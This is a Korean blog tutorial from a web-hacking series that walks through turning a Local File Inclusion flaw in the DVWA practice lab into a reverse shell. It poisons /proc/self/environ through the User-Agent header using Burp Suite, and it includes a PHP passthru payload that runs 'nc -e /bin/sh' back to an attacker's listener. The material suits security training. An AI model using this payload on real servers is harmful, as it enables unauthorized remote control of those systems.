LFI (2)

밍기적·2022년 11월 13일
0

웹해킹

목록 보기
8/35
post-thumbnail

따라서 LFI 취약점은 서버에서 파일을 읽을 수 있또록 하고 암호 또는 민감한 정보가 있는 파일을 읽을 수 있습니다.

실제 대상 서버에 대한 전체 액세스 권한 또는 전체 제어 권한을 얻을 수 있습니다.

이제 LFI를 이용하여 리버스 쉘을 획득해보겠습니다.

서버에서 파일을 읽을 수 있으므로 해당 서버에서 무엇이든 쓸 수 있다는 점을 악용하는 것입니다.

읽을 수 있는 파일에 코드를 주입하는 것을 시도합니다.

  • /proc/self/environ
  • /var/log/auth.log
  • /var/log/apache2/access.log

먼저 environ 파일에 코드를 주입해보겠습니다.


먼저 현재 컴퓨터에서 파일을 확인해봅니다.

위 파일은 현재 환경에 대한 정보를 포함하고 있는 파일입니다.

DVWA에서 위 파일을 보도록 URL을 변경합니다.


현재 환경에 대한 변수들을 볼 수 있습니다.

여기서 주목해야하는 변수는 User-Agent 변수입니다.

  • 사용자 에이전트는 기본적으로 사용자가 사용하고 있는 현재 브라우저를 나타냅니다.

이 변수는 클라이언트 측에서 전송하므로 우리가 변경할 수 있습니다.

서버가 코드를 실행하는지를 먼저 확인합니다.

<?phpinfo();?>


버프스위트를 이용하여 요청을 가로챈 뒤 User-Agent 변수 값을 간단하게 PHP정보를 보여주는 phpinfo()함수로 저장한 뒤 Forward를 합니다.


웹사이트에 php정보가 나타나게 되며 서버가 코드를 실행하고 있다는 것을 확인합니다.

그러므로 이제 파일에 역방향 쉘을 얻기위해 코드를 삽입하면 됩니다.

php에서 외부 프로그램을 실행하기 위해 passthru 함수를 사용합니다.

  • passthru(”nc -e /bin/sh [대상 IP][PORT_NUMBER]“)

공격자는 netcat을 이용하여 해당 포트를 열고 기다리고 있습니다.

User-Agent변수 값을 변경합니다.

이후 Forward를 보내면 터미널에 연결이 생깁니다.

이제 쉘이 연결이 되었습니다.

0개의 댓글